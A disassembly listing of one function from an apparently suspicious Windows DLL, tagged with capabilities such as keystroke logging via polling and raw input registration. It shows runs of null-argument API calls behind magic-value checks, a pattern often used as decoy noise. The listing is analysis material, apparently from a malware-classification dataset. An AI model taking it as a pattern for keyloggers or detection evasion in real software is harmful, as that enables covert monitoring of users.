Function at 0x18000a0b0
Capabilities:
Create directory
Get common file path
Log keystrokes via polling
Print debug messages
Register raw input devices
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
cmp edx, 1
jne 0x18000a58c
lea rax, [0x180009470]
add rax, 0x241
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x241
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.18000f2c0
lea rax, [0x180009ca0]
add rax, 0x257
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x257
xor eax, eax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
xor edi, edi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov ecx, 0x10
call fcn.18006d9a8
mov qword [rax + 8], rdi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
mov qword [rax], rcx
mov word [rbp - 0x78], di
mov qword [rbp - 0x72], rdi
mov qword [rbp - 0x6a], rdi
xor eax, eax
mov word [rbp - 0x75], ax
mov byte [rbp - 0x73], al
mov word [rbp - 0x72], ax
mov byte [rbp - 0x70], al
mov word [rbp - 0x6f], ax
mov byte [rbp - 0x6d], al
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x6a], al
mov word [rbp - 0x69], ax
mov byte [rbp - 0x67], al
mov word [rbp - 0x66], ax
mov byte [rbp - 0x64], al
mov dword [rsp + 0x54], edi
mov dword [rbp - 0x7c], edi
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180012250
nop
lea rcx, [rsp + 0x58]
call fcn.180016c70
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov edx, 0x10
call fcn.18006d8bc
xor ecx, ecx
call fcn.18007a6f0
mov ecx, eax
call fcn.1800771f8
lea rbx, [0x180009a10]
lea rax, [rbx + 0x225]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x225
xor eax, eax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov ecx, 0x10
call fcn.18006d9a8
mov qword [rax + 8], rdi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
mov qword [rax], rcx
mov word [rbp - 0x78], di
mov qword [rbp - 0x72], rdi
mov qword [rbp - 0x6a], rdi
xor eax, eax
mov word [rbp - 0x75], ax
mov byte [rbp - 0x73], al
mov word [rbp - 0x72], ax
mov byte [rbp - 0x70], al
mov word [rbp - 0x6f], ax
mov byte [rbp - 0x6d], al
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x6a], al
mov word [rbp - 0x69], ax
mov byte [rbp - 0x67], al
mov word [rbp - 0x66], ax
mov byte [rbp - 0x64], al
mov dword [rsp + 0x54], edi
mov dword [rbp - 0x7c], edi
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180012020
nop
lea rcx, [rsp + 0x58]
call fcn.180016c70
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov edx, 0x10
call fcn.18006d8bc
add rbx, 0x157
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], 0x157
xor eax, eax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov ecx, 0x10
call fcn.18006d9a8
mov qword [rax + 8], rdi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
mov qword [rax], rcx
mov word [rbp - 0x78], di
mov qword [rbp - 0x72], rdi
mov qword [rbp - 0x6a], rdi
xor eax, eax
mov word [rbp - 0x75], ax
mov byte [rbp - 0x73], al
mov word [rbp - 0x72], ax
mov byte [rbp - 0x70], al
mov word [rbp - 0x6f], ax
mov byte [rbp - 0x6d], al
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x6a], al
mov word [rbp - 0x69], ax
mov byte [rbp - 0x67], al
mov word [rbp - 0x66], ax
mov byte [rbp - 0x64], al
mov dword [rsp + 0x54], edi
mov dword [rbp - 0x7c], edi
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180012020
nop
lea rcx, [rsp + 0x58]
call fcn.180016c70
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov edx, 0x10
call fcn.18006d8bc
lea rax, [0x180009b00]
add rax, 0x1ed
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x1ed
xor eax, eax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov ecx, 0x10
call fcn.18006d9a8
mov qword [rax + 8], rdi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
mov qword [rax], rcx
mov word [rbp - 0x78], di
mov qword [rbp - 0x72], rdi
mov qword [rbp - 0x6a], rdi
xor eax, eax
mov word [rbp - 0x75], ax
mov byte [rbp - 0x73], al
mov word [rbp - 0x72], ax
mov byte [rbp - 0x70], al
mov word [rbp - 0x6f], ax
mov byte [rbp - 0x6d], al
mov word [rbp - 0x6c], ax
mov byte [rbp - 0x6a], al
mov word [rbp - 0x69], ax
mov byte [rbp - 0x67], al
mov word [rbp - 0x66], ax
mov byte [rbp - 0x64], al
mov dword [rsp + 0x54], edi
mov dword [rbp - 0x7c], edi
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180011de0
nop
lea rcx, [rsp + 0x58]
call fcn.180016c70
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov edx, 0x10
call fcn.18006d8bc
lea rax, [0x180003cf0]
add rax, 0x242
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x242
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.18000f2c0
cmp dword [0x1800fb3e8], 0xfa368b1a
jne 0x18000a572
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemPreferredUILanguages]
xor r8d, r8d
xor edx, edx
lea rcx, [0x180114338]
call qword [sym.imp.KERNEL32.dll_OpenFile]
mov dword [rsp + 0x20], edi
lea r9, [0x180114350]
xor r8d, r8d
lea rdx, [0x180114390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyScripts]
call qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov eax, 1
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
cmp edx, 2
je 0x18000a572
cmp edx, 3
jne 0x18000a6d2
cmp dword [0x1800fb3e8], 0xa2bc6c7f
jne 0x18000a572
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1801143b8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileMUIPath]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCompressedFileSizeTransactedW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetUserObjectInformationW]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
call qword [sym.imp.USER32.dll_GetActiveWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCaret]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
call qword [sym.imp.USER32.dll_GetShellWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InsertMenuItemW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBeep]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InsertMenuW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuItemID]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetUpdateRect]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_RealGetWindowClassW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadCycleTime]
jmp 0x18000a572
test edx, edx
jne 0x18000a572
mov eax, 0x488d
nop
inc eax
test al, 1
jne 0x18000a6e0
cmp eax, 0x488e
je 0x18000a572
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]